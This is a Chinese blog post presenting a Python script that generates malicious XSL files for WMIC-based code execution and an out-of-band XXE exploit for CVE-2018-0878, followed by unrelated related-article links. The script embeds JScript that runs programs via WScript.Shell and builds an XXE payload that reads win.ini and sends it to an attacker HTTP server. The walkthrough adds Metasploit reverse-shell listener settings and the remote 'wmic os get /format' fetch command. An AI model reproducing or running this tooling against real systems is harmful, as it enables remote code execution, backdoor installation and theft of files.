python打造XslGenerator
0x00前言
今天加载了Demon哥分享的RSS。其中有一篇是三好学生讲的:

在仔细越读这篇文章后,我懂得了里面的一些骚操作,所以有了以下的
脚本。
0x001代码
import optparse
import time
import os
import socket def main():
parser=optparse.OptionParser()
parser.add_option('-b',dest='local',action='store_true',help='Generator Local Xsl')
parser.add_option('-y',dest='Long',action='store_true',help='Generator Long-range Xsl')
parser.add_option('-j',dest='CVE',action='store_true',help='Conduct CVE-2018-0878')
(options,args)=parser.parse_args()
if options.local:
Local()
elif options.Long:
Long()
elif options.CVE:
Cve()
else:
parser.print_help()
exit() def Local():
with open('poc.xsl','w') as l:
l.write('''<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/> <msxsl:script language="JScript" implements-prefix="user">
function myFunction() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return "";
}
</msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:myFunction()"/> Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template> <xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template>
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template> <xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template> <xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template> <xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template> <xsl:template match="NAMESPACEPATH">\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template> <xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma="true")">,</xsl:if><xsl:if test="$norefcomma="true""><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template> </xsl:stylesheet>
''')
l.close()
print('[*]{}'.format('Generation completion'))
print('[*]{}'.format('you want to bounce meterpreter.Please create the back door and put the generated back door inito the clear computer,and use modify.py to modify the place where exe is executed'))
print('[*]{}'.format('Enter the directory where you store poc.xsl and exeute the command in the target computer: wmic os get format:poc')) def Long():
with open('Longpoc.xsl','w') as g:
g.write('''<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>
''')
g.close()
print('[*]{}'.format('Generation completion'))
os.system('mv Longpoc.xsl /var/www/html')
print('[*]{}'.format('This XSL is moved to the /var/www/html directory'))
print('[*]{}'.format('Modify the program executed in XLS with modify.py'))
print('[*]{}'.format('Put the generated back door into the target computer'))
print('[*]{}'.format('Start the Apache service'))
print('[*]{}'.format('wmic os get format:"http://IP/Longpoc.xsl"')) def Cve():
print('[@]Vulnerability introduction:https://www.exploit-db.com/exploits/44352/')
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
connect=s.connect(('8.8.8.8',80))
ip=s.getsockname()[0]
ml="python -m SimpleHTTPServer 8080"
with open('xxe.xml','w') as c:
c.write('''<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://{}/?%payload;'> ">
'''.format(ip))
c.close()
os.system('mv payload.xls /var/www/html') with open('payload.xsl','w') as p:
p.write('''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://{}:8080/xxe.xml">
%remote;%root;%oob;]>
'''.format(ip))
p.close()
print('[*]{}'.format('Get the native IP:',ip))
print('[*]{}'.format('Create a httt server'))
print('[*]{}'.format('Have been created xxe.xml'))
print('[*]{}'.format('Already moved /var/www/html'))
print('[*]{}'.format('Have benn payload.xls,Move him to the computer,And execute the command:wmic os get format:payload.xsl'))
os.system(ml)
if __name__ == '__main__':
main()
测试结果: -b
攻击机:Ubuntu
受害者:windows server 2008 r2
生成后并修改后的的xsl

msfvenom生成的shell.exe

Windows Server 2008 r2
进入shell.exe所在的目录中在cmd中执行:wmic os get /format:sd

Ubuntu中执行监听:
use exploit/multi/headers
set LHOST 192.168.223.133
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

测试结果:-j CVE-2018-0878
漏洞结果详情:https://www.exploit-db.com/exploits/44352/
生成了xxe.xml与payload.xls
xxe.xml移动到了/var/www/html
payload.xls放入到受害者windows server 2008 r2
xxe.xml:
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.223.133:8080/?%payload;'> ">
payload.xsl:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.223.133:8080/xxe.xml">
%remote;%root;%oob;]>
启动apache服务
service apache2 start

在windows server 2008 r2中执行:
wmic os get /format:payload.xsl

执行失败但漏洞触发成功了。
这里的-b选项我就不演示了,具体步骤跟上面两个差不多
1.生成的poc.xsl修改在目标机上执行的程序并移动到apache2
2.开启apache2
3.将生成的后门扔到目标机
4.执行wmic os get /format:"http://192.168.223.133/poc.xsl"
这时候wmic就会请求xsl并执行。你如果此刻在监听你就收到了一个shell
python打造XslGenerator的更多相关文章
- 教你用python打造WiFiddos
本文来源于i春秋学院,未经允许严禁转载. 0x00 前言因为在百度上很难找到有关于用python打造WiFidos的工具的,而且不希望大家成为一名脚本小子,所以我打算写一篇,需要的工具有scapy,i ...
- phantomjs + python 打造一个微信机器人
phantomjs + python 打造一个微信机器人 1.前奏 媳妇公司不能上网,但经常需要在公众号上找一些文章做一些参考,需要的时候就把文章链接分享给我,然后我在浏览器打开网页,一点点复制过 ...
- 【python】10分钟教你用python打造贪吃蛇超详细教程
10分钟教你用python打造贪吃蛇超详细教程 在家闲着没妹子约, 刚好最近又学了一下python,听说pygame挺好玩的.今天就在家研究一下, 弄了个贪吃蛇出来.希望大家喜欢. 先看程序效果: 0 ...
- 10分钟教你用Python打造微信天气预报机器人
01 前言 最近武汉的天气越来越恶劣了.动不动就下雨,所以,拥有一款好的天气预报工具,对于我们大学生来说,还真是挺重要的了.好了,自己动手,丰衣足食,我们来用Python打造一个天气预报的微信机器人吧 ...
- 第11章:使用Python打造MySQL专家系统
1.Python语言高级特性 1).深入浅出Python生成器 1).生成器函数:与普通函数定义类似,使用yield语句而不是return语句返回结果.yield语句一次返回一个结果,在每个结果中间挂 ...
- 基于微博数据用 Python 打造一颗“心”
一年一度的虐狗节刚过去不久,朋友圈各种晒,晒自拍,晒娃,晒美食,秀恩爱的.程序员在晒什么,程序员在加班.但是礼物还是少不了的,送什么好?作为程序员,我准备了一份特别的礼物,用以往发的微博数据打造一颗“ ...
- 自己动手python打造渗透工具集
难易程度:★★★阅读点:python;web安全;文章作者:xiaoye文章来源:i春秋关键字:网络渗透技术 前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈 ...
- python打造渗透工具集
python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集. 难易程度:★★★阅读点:python;web ...
- “猜你喜欢”的背后揭秘--10分钟教你用Python打造推荐系统
欲直接下载代码文件,关注我们的公众号哦!查看历史消息即可! 话说,最近的瓜实在有点多,从我科校友李雨桐怒锤某男.陈羽凡吸毒被捕.蒋劲夫家暴的三连瓜,到不知知网翟博士,再到邓紫棋解约蜂鸟.王思聪花千芳隔 ...
随机推荐
- Mac安装三方软件
安装提示“xxx软件已损坏,打不开,您应该将它移到废纸篓”的提示,其实并不是软件本身有问题,而是Mac系统的一个安全机制问题步骤1:Spotlight搜索(快捷键:command+空格或右上角搜索的符 ...
- IOS开发GCD小结
0. Brief Introduction GCD,全称Grand Central Dispath,是苹果开发的一种支持并行操作的机制.它的主要部件是一个FIFO队列和一个线程池,前者用来添加任务,后 ...
- Linux服务器运行环境搭建(四)——Tomcat安装
官网地址:http://tomcat.apache.org 官网下载地址(Tomcat6):http://tomcat.apache.org/download-60.cgi,Windows下载wind ...
- Android中的关于MDM中的几个方法举例
Android中的关于MDM中的几个方法举例 首先介绍一下MDM是什么的缩写,MDM是什么? MDM 是 (Mobile Device Management )的缩写,中文翻译过来就是移动设备管理.随 ...
- 用xapian来做索引
最近一个项目需要正则搜索MongoDB,400多万的数据一次查询要20s以上,需要建立一个前端索引服务.本着部署简单.开发容易的原则,找到了xapian这个索引库. 我使用的是Python的接口,xa ...
- linux 下 Linux 下char转换为wchar_t 设置本地为utf-8编码 以及wchar 的输入输出
LInux下使用mbstowcs函数可以将char转化为wchar_t函数含义:convert a multibyte string to a wide char string说明: Th ...
- oracle中查询结果集为空,则得到一个默认值
有同事问我上述问题,我把我的实现思路写出来.子查询把查询的结果和默认的结果全部显示.父查询通过伪列rownum来筛选,如果查询有结果,就有几条就显示几条,而不去显示子查询中的默认值:如果查询没有结果, ...
- BZOJ4245 ONTAK2015 OR-XOR 【位运算+贪心】*
BZOJ4245 ONTAK2015 OR-XOR Description 给定一个长度为n的序列a[1],a[2],…,a[n],请将它划分为m段连续的区间,设第i段的费用c[i]为该段内所有数字的 ...
- BZOJ4820 Sdoi2017 硬币游戏 【概率期望】【高斯消元】【KMP】*
BZOJ4820 Sdoi2017 硬币游戏 Description 周末同学们非常无聊,有人提议,咱们扔硬币玩吧,谁扔的硬币正面次数多谁胜利.大家纷纷觉得这个游戏非常符合同学们的特色,但只是扔硬币实 ...
- 语义耦合(Semantic Coupling)
跟小伙伴一起重构一段 UI,试图将用户界面和业务代码分离的时候,小伙伴试图在业务代码中直接调用 UI.我们当然都知道这会产生耦合,于是小伙伴试图定义一些属性.变量或接口来解决这个耦合.虽然在代码的静态 ...